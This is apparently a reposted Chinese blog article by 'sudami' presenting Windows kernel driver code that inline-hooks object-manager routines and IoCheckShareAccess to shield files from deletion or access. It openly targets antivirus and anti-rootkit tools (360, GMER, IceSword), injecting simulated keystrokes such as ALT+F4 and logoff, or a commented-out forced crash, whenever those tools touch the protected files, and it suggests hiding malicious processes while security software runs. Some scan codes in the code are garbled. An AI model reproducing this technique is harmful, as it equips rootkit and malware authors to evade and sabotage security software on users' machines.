保护干涉文件

白光干涉仪测量原理及干涉测量技术的应用 白光干涉仪利用干涉原理测光程差,测物理量,具高精度。应用于半导体、光学加工、汽车零部件制造及科研等领域,双重防撞保护保障测量安全。 阅读详情

 by sudami

 

好久不写东西,这次放点儿好玩的陈旧的东西: object+keyboard+bugcheck.
       取几个关键例程(IopXX)的地址后,替换或Inline hook掉,在其中可以很强大的监控到系统的很多频繁操作,ARK来它来记录监控,以后对比分析系统中可能存在的RK,是个不错的想法. 其中一个小模块可以用来干涉文件的解析,查询,复制,打开,删除等操作.
 
       比如我挂钩了其中的2个函数,一个是解析文件,一个是标记文件状态,只要是我们关心的文件和文件夹, 都可以处理过滤掉. 或者流氓一点,可以让其直接蓝调(方法很多,直接来个Int 3,就OK了). 流氓用来做文件自我保护是个不错的选择. 当然对于狙剑这样没有经过文件系统,而是自己解析磁盘的,挂钩函数就不起作用了. 但一般的ARK: IS, Wsyscheck, Gmer统统无视. 为了演示效果,我把让其一碰就蓝的code注掉了,换成一碰就自动关闭当前窗口 / 最小化所有窗口 / 切换到登录状态, 即驱动模拟按键: ALT+F4, (TABLE), ENTER, ALT+ESC, WIN+M , WIN+R +"logoff"/"shutdown -l", WIN+L....
 
      当然注销的等待时间太长了,驱动中没有找到可以直接注销的方法,只能模拟按键; ALT+F4关闭当前窗口是个不错的选择,当然好多自我保护做的不错的软件已经屏蔽掉这个了.或者弹个messagebox; WIN+L只是切换到登录状态, 干扰用户的正常操作,效果也不是很好. 当然,若不是做流氓程序,保护文件时自然不能让其直接BSOD, 除了上面的方法,还是有其他的一些猥亵选择的,大家自己发挥想象,原理就是callback函数中一旦接受到notify,你可以立即进行处理, 设置EVENT,让R3程序来搞,或者检测到安全软件的启动,就把隐藏的进程还原出来,把恶意行为隐藏起来,等到安全软件退出时,再立马启动....
 
      测试了下360和微点,效果不错,嘿嘿,发点儿关键code
// 保护我们的文件
    if ( IOFILE_INDEX == ObjectIndex) {
         FileName = (PUNICODE_STRING)((UCHAR *)Object+0x030) ; 
          RtlCopyMemory(Name, FileName->Buffer, FileName->MaximumLength );
         _wcsupr(Name);

        if (wcsstr(Name , L"SUDAMI") || 
             wcsstr(Name , L"360") ||
             wcsstr(Name , L"MP") ||
             wcsstr(Name , L"DOWNLOAD") ) {
            //检查是不是要保护的文件
             DbgPrint("HandleDelete: Deny/n");

            if ( TRUE == g_kb_valid )
             {
//          sendkb(0x3b, KEY_MAKE);
//          sendkb(0x3b, KEY_BREAK);

                // ALT + ESC
//          sendkb(0x38, KEY_MAKE);
//          sendkb(0x1, KEY_MAKE);
//          sendkb(0x38, KEY_BREAK);
//          sendkb(0x1, KEY_BREAK);

                // ALT + F4
                 sendkb(0x38, KEY_MAKE);
                 sendkb(0x, KEY_MAKE);
                 sendkb(0x, KEY_BREAK);
                 sendkb(0x38, KEY_BREAK);
                // enter
                 sendkb(0x1c, KEY_MAKE);
                 sendkb(0x1c, KEY_BREAK);

                // WIN + M
                 sendkb(0x5b, 2);
                 sendkb(0x, KEY_MAKE);
                 sendkb(0x, KEY_BREAK);
                 sendkb(0x5b, 3);

                /*
         //
         // 模拟注销
         //

         // WIN + r
         sendkb(0x5b, 2);
         sendkb(0x, KEY_MAKE);
         sendkb(0x, KEY_BREAK);
         sendkb(0x5b, 3);

         // shutdown -l
         sendkb(0x1f, KEY_MAKE);
         sendkb(0x1f, KEY_BREAK);
         sendkb(0x23, KEY_MAKE);
         sendkb(0x23, KEY_BREAK);
         sendkb(0x16, KEY_MAKE);
         sendkb(0x16, KEY_BREAK);
         sendkb(0x14, KEY_MAKE);
         sendkb(0x14, KEY_BREAK);
         sendkb(0x20, KEY_MAKE);
         sendkb(0x20, KEY_BREAK);
         sendkb(0x18, KEY_MAKE);
         sendkb(0x18, KEY_BREAK);
         sendkb(0x11, KEY_MAKE);
         sendkb(0x11, KEY_BREAK);
         sendkb(0x31, KEY_MAKE);
         sendkb(0x31, KEY_BREAK);
         sendkb(0x39, KEY_MAKE);
         sendkb(0x39, KEY_BREAK);
         sendkb(0xc, KEY_MAKE);
         sendkb(0xc, KEY_BREAK);
         sendkb(0x26, KEY_MAKE);
         sendkb(0x26, KEY_BREAK);

         // enter
         sendkb(0x1c, KEY_MAKE);
         sendkb(0x1c, KEY_BREAK);
         */


                // WIN + L
//          sendkb(0x5b, 2);
//          sendkb(0x26, KEY_MAKE);
//          sendkb(0x26, KEY_BREAK);
//          sendkb(0x5b, 3);
             }
    
//       ProbeForWrite(sudami,4,4); // let it BSOD.hoho~
            return ;
             DbgPrint("nerver be here~/n");
            goto skip; // nerver be here~
         }    
     }
 
另外,禁止文件的创建,访问,打开等操作,简单点儿的不需要FSD层面,只需挂钩一个函数 即可.微点就是这么做的.嘿嘿,放点儿关键code,大家自由发挥吧:
 
NTSTATUS 
fake_IoCheckShareAccess(
     ACCESS_MASK DesiredAccess,
    ULONG DesiredShareAccess,
     PFILE_OBJECT FileObject,
     PSHARE_ACCESS ShareAccess,
    BOOLEAN Update
     )
{
     NTSTATUS stat ;
    WCHAR Name[300];
     PUNICODE_STRING FileName;
    BOOLEAN ReadAccess;
    BOOLEAN WriteAccess;
    BOOLEAN DeleteAccess;
    
    _asm pushad
    _asm pushfd

    /* Get access masks */
     ReadAccess = (DesiredAccess & (FILE_READ_DATA | FILE_EXECUTE)) != 0;
     WriteAccess = (DesiredAccess & (FILE_WRITE_DATA | FILE_APPEND_DATA)) != 0;
     DeleteAccess = (DesiredAccess & DELETE) != 0;
        
     FileName = (PUNICODE_STRING)((UCHAR *)FileObject+0x030) ; 
     RtlCopyMemory(Name, FileName->Buffer, FileName->MaximumLength );
     _wcsupr(Name);
     DbgPrint("%s", Name);
     if (wcsstr(Name , L"SUDAMI") /*&& (WriteAccess || DeleteAccess || ReadAccess)*/ )
     {
        //检查是不是要保护的文件
         DbgPrint("IoCheckShareAccess - Deny/n");
        
        _asm popfd
        _asm popad

         stat = 0xC0000043;
        goto skip;        
     }
    
    _asm popfd
    _asm popad
        
     stat = orig_IoCheckShareAccess(DesiredAccess, DesiredShareAccess, 
                     FileObject, ShareAccess, Update);
    
skip:
    _asm nop
    return stat;
}
 

白光干涉仪在微纳制造中的高精度测量与双重防撞保护机制解析 本文深入解析了白光干涉仪在微纳制造中的高精度测量技术及其双重防撞保护机制。通过干涉条纹和零光程差原理,白光干涉仪实现了纳米级精度的表面形貌测量,广泛应用于半导体晶圆检测和MEMS器件测量。双重防撞系统结合机械电子与智能算法,有效避免了探头撞击风险,保障了高价值样品的安全。 阅读详情

相关推荐

自动变速箱TCU标定全流程:从换挡规律到安全保护

在汽车电子控制领域,标定是连接底层控制逻辑与整车性能的关键环节。自动变速箱TCU标定围绕换挡规律、扭矩干涉和离合器控制等核心模块,通过一系列Map与曲线将驾驶感受工程化,直接影响起步平顺性、换挡品质及燃油经济性。其原理涉及液力变矩器锁止策略、离合器Kiss Point自学习以及扭矩相与惯性相的精确配合,技术价值在于平衡动力性、驾驶性与安全保护。从工程实践看,TCU标定不仅依赖台架与整车数据采集,还需借助INCA、CANape等工具链完成压力修正与温度保护标定。本文系统拆解了TCU标定全流程,涵盖起步、换挡、

weixin_33377602的博客 138

白光干涉仪的双重防撞保护机制及其在精密测量中的关键作用

本文深入解析了白光干涉仪的双重防撞保护机制及其在精密测量中的关键作用。通过硬件传感器和软件算法的协同设计,该系统能实现毫秒级响应,有效预防设备损坏并提升测量数据的准确性。文章还结合工业、科研等场景的实际案例,展示了防撞机制在提升设备可靠性、保护贵重样品等方面的重要价值。

weixin_30642561的博客 495

KUKA机器人焊接程序解析:从KRL结构到工艺参数调试

工业机器人焊接编程是自动化产线高效运行的核心环节,KUKA机器人作为主流品牌,其焊接程序基于KRL语言构建,融合运动控制、信号交互与工艺参数,本质是解决机器人如何动、焊机如何配合、异常如何处理三大问题。理解其中的起弧收弧时序、摆动焊接WEAVE参数及干涉区逻辑,是调试与维护的关键。本文以KUKA焊接程序为对象,拆解程序文件结构、运动指令与安全保护机制,并结合真实案例给出故障排查实用技巧,帮助工程师快速理解程序逻辑,提升焊接质量与产线稳定性。

weixin_28292761的博客 112

键盘Keyboard中的扫描码Scan Code 通码Make code 断码Break Code

键盘Keyboard中的扫描码Scan Code 通码Make code 断码Break Code Version:2011-10-21 Author: crifan Mail: green-waste (at) 163.com PDF版本: Keyboard Scan Code Make code and Break Code v2011-10-21.pdf (38

软件开发、电子设计 3826

策略非干涉性:目标驱动的安全模型

本文提出策略非干涉性概念,通过高安全级代理在追求特定目标时采用的策略来限制信息泄露。该方法放宽了传统非干涉性的严格要求,适用于实际系统中机密性的分析与设计,并探讨了其形式化特征及在不同策略下的安全性差异。

salt的博客 789

冷源法测试噪声系数(Noise Figure)详细步骤

背景知识 电阻负载的功率谱密度 噪声等效模型 3 4 冷源法测试步骤 注意事项

eleday的电子世界 6871

键盘过滤

#include <wdm.h> #define KBD_DRIVER_NAME L"\\Driver\\Kbdclass"// Kbdclass驱动的名字 #define KEY_MAKE 0 #define KEY_BREAK 1 #define KEY_E0 5 #define KEY_E1 6 #define KEY_TERMSRV_SET_LED 8 #define KE...

839

Adams与matlab联合仿真的一些小技巧

Adams与simulink联合仿真之快速设置初值 去年到现在一直做的两个项目要用到Adams与simulnk联合仿真,虽然网上有很多这方面的教程,但都比较基本,要实现一些稍微复杂的要求就比较困难了,比如我需要改变模型的初始位姿,原来的方式是在adams中设置,再生成联合仿真需要的文件,再在matlab中进行调用和仿真,如果工况多的话这样就特别耗时耗力,进过长时间的摸索,终于找出了在matlab中直接改变Adams模型参数的方法,下面具体说明一下。 我这里的模型是一个小球通过弹簧连接在坐标原点,仿真开始后

weixin_40962901的博客 4784

文件(6)XCB前奏

1.句柄,文件对象,CleanUp,Close CreateFile成功会得到一个句柄,存放于进程句柄表中。并与之对应一个文件对象。 XCB 有一个CleanUpCount  记录了打开的句柄数,ZwClose在关闭一个句柄并且通过IopCloseFile发送一个IRP_MJ_CLEANUP进行清理工作(其细节将在下篇blog中详细记录) Close,句柄全关闭之后不会立即发送I

Returns' Station 1493

深入解析EXI协议在ISO15118-2命令测试中的编解码实践

本文深入探讨了EXI协议在ISO15118-2车桩通信标准中的关键作用与实践方法。EXI编解码测试是确保通信准确性与效率的核心环节,文章详细介绍了从搭建测试环境、选择工具库到编写完整测试代码的全过程,并分析了结果差异的常见原因与调试技巧,为电动汽车充电系统的开发者提供了实用的技术指南。

potato的博客 1048

新能源知识库(62)组串式、集中式和高压直挂式

因需多台PCS及独立监控设备,单位功率成本比集中式高15%–20%。高压直挂式因省去变压器,大容量项目成本更低(>5MW时优势显著)。组串式储能、集中式储能和高压直挂式储能是当前主流的三类技术路线,其核心差异源于系统架构和控制逻辑的设计差异。组串式交流侧需变压器升压至10kV/35kV,高压直挂式可直接输出6kV/35kV电压,减少转换损耗。多台小功率PCS并联(每簇独立管理)单台大功率PCS(多簇直流侧并联)环流导致容量衰减(损失5%–8%)无变压器损耗(效率>99%)高压直挂电站(≥10MW)

竹君子之家 1515

FILE_OBJECT structure

FILE_OBJECT structure FILE_OBJECT 结构被系统用来表示一个文件对象,在用户模式的保护下的子系统中,一个问加你对象代表一个打开的文件,设备,目录或卷,对设备和中间层驱动而言,一个文件对象通常代表了一个设备对象,对文件系统栈中的驱动程序而言,一个文件对象通常代表了一个目录或者文件。 一个文件对象是部分不透明的,一些具体类型的驱动程序,像文件系统驱动和网络传输驱动使用

死胖子的博客 3363

winpcap无法安装提示新版本已经安装解决办法

问题显示如下该问题会导致ensp里的云识别不到网卡可能是因为之前安装了npcap,而且安装时勾选了第四个选项导致无法安装,需要完全卸载npcap解决办法:办法一:在控制面板的程序与卸载里面卸载npcap和winPcap,然后再安装winPcap,如果搜不到往下看办法二:在C:\Windows\SysWOW64目录下搜索wpcap.dll和packet.dll并重命名为wpcap.dll.old和packet.dll.old办法三:如果搜不到这两个文件需要安装win10Pcap才能找到这两个文件下载地址:Wi

qq_73202377的博客 3万+

保护干涉文件的玩意

 BY SUDAMI 今天很倒霉,电脑到中关村修了一天,最终确定是主板问题,无奈换了个主板(从此决定以后有钱一定要买个IBM THINKPOD的本本),然后很不爽的重装了系统,写的code因为电脑突然挂掉,重新打开全是乱码,弄了半天的心血一下就over了,之前也没备份, 只能重写之.      好久不写东西,这次放点儿好玩的陈旧的东西: object+keyboard+bugcheck

896

第二十三章 Nest集成日志框架Winston

Winston是一个非常流行的Node.js日志框架,而Nest.js是一个基于Node.js的后端框架。修改 winston.module.ts 内容如下 添加 forRoot 方法,接收 winston 的 createLogger 方法的参数,返回动态模块的 providers、exports。这里用到了 printf 的 format 函数,它可以自定义打印的日志格式 且使用了chalk 加上了颜色,并且打印了 dayjs 格式化的时间。可以看到控制台打印了自定义的 logger 的自定义。

枫ゞ的博客 1069

ROS2初级面试题汇总

总结和收集了一些关于ros2的问题和解答记录

qq_57633442的博客 5555

《深入Java虚拟机》学习笔记三:安全性(上)

第三章 安全性1、为什么需要安全性       因为Java是为网络而生,而网络提供了一条攻入连入网络计算机的潜在途径,因为安全性非常重要。 2、基本沙箱       组成Java沙箱的基本组件如下:             类装载器结构             Class文件检查器             内置于Java虚拟机(及语言)的安全性             安全管理器及JavaAPI...

水上风荷 169

uniapp:安卓苹果APP判断是否授权开启手机位置服务+弹框引导跳转到用户手机设置位置服务开启页面,uniApp app判断是否授权位置信息权限如果位置是关闭状态则提示用户(跳转各机型位置设置页面)

uniapp APP判断是否开启位置信息服务&&判断是否授权位置信息权限,uniappapp定位权限被拒绝后,询问是否开启授权并跳转到手机设置页面,uniapp APP端 定位未授权 去手机设置里开启定位,uniapp提示用户开启定位,跳转到开启定位页面,uniapp获取当前位置及检测授权状态,uniapp中获取位置信息处理,uni-app实现定位功能_uniapp获取定位位置信息,uniapp中app是否开启定位,app获取地理位置,uniapp打开位置权限设置页面IOS,用户并没有开启微信信息服务或者没

✅ 精选推荐文章 4342

深入JVM学习笔记-安全性

1、 基本沙箱 (1)      类加载器 a) 它防止恶意代码干涉善意代码。为由不同的类加载器加载的代码提供不同的命名空间, 在java虚拟机中,在同一个命名空间的类可以直接交互,但是不同命名空间的类根本无法 知道对方的存在,当然也可以通过显示地提供允许它们交互的,下面的例子就是一种显示 访问另一个命名空间的方式: /*LoaderSample2.java*/ import java

mrliu20082009的专栏 1597

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

计算机模拟双缝干涉实验报告,电磁场与微波实验三报告——双缝干涉实验.docx...

《电磁场与微波实验三报告——双缝干涉实验.docx》由会员分享,提供在线免费全文阅读可下载,此文档格式为docx,更多相关《电磁场与微波实验三报告——双缝干涉实验.docx》文档请在天天文库搜索。1、双缝干涉实验1. 实验原理如右图所示,当一平面波垂直入射到一金属板的两条狭缝上时,则每一条狭缝就是次级波波源。由同一波源到达两缝后所发出的次级波是相干波,因此在金属板后面的空间中将产生干涉现象。当然...

weixin_39605840的博客 1902

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

半导体制造中的白光干涉仪:如何用双重防撞保护提升芯片检测效率

本文探讨了半导体制造中白光干涉仪的双重防撞保护系统如何显著提升芯片检测效率。通过硬件和软件的双重防护,系统实现了快速响应和高灵敏度检测,有效减少碰撞风险,提升设备可用率和测量速度。实际案例显示,该系统可将年维护成本大幅降低,投资回报周期缩短至7个月。

weixin_33734785的博客 361

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

为什么薄膜干涉的厚度要很小_光学薄膜技术概要

一.光学薄膜的原理及应用简单地说,整个光学薄膜的物理依据就是光的干涉。所谓光学薄膜,首先要薄,然后要产生一定的光学效应。“薄”的程度:A)定性描述,光学薄膜的厚度要和入射光波长可以相比拟。B)物理意义:能够产生干涉现象的膜层。薄膜光学是物理光学的一个重要分支,它研究的对象是膜层对光的反射、透射、吸收以及位相特性、偏振特性等。光在通过分层媒质时,来自不同界面的反射光、透射光在光的入射及反射...

weixin_42299244的博客 2893

JVM安全模型--基本沙箱

    本是整理到word文档中,发到je上格式好像变得怪怪的,附件附上原来的word版本,需要的朋友可以下载回去看看. 安全模型简介 安全模型使Java 成为网络环境的技术,因为它们建立了对网络移动代码安全执行的必要的可信机制。 Java安全模型侧重于保护终端用户免受从网络下载的、来至于不可靠来源的、恶意程序的侵犯。而“沙箱”机制成为了这一目的的支...

Coder 317

Cadence Allegro 3D封装实战:从嘉立创STEP文件导入到干涉检查

在PCB设计中,3D封装用于在投板前进行空间干涉检查,避免元器件与外壳或彼此之间的物理冲突。其原理是将STEP格式的三维模型绑定到Allegro封装上,通过3D视图直观验证高度与位置。这项技术能显著降低返工成本,尤其适用于高密度板与外壳配合场景。嘉立创元件库提供了丰富的STEP模型,可直接下载并导入Allegro,大幅提升效率。本文分享从模型获取、绑定到验证的完整流程,并总结常见问题与解决技巧。

weixin_33928137的博客 395
上一篇: WoW Warden的简略分析
下一篇: 一种Object hook的思路和实现过程
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值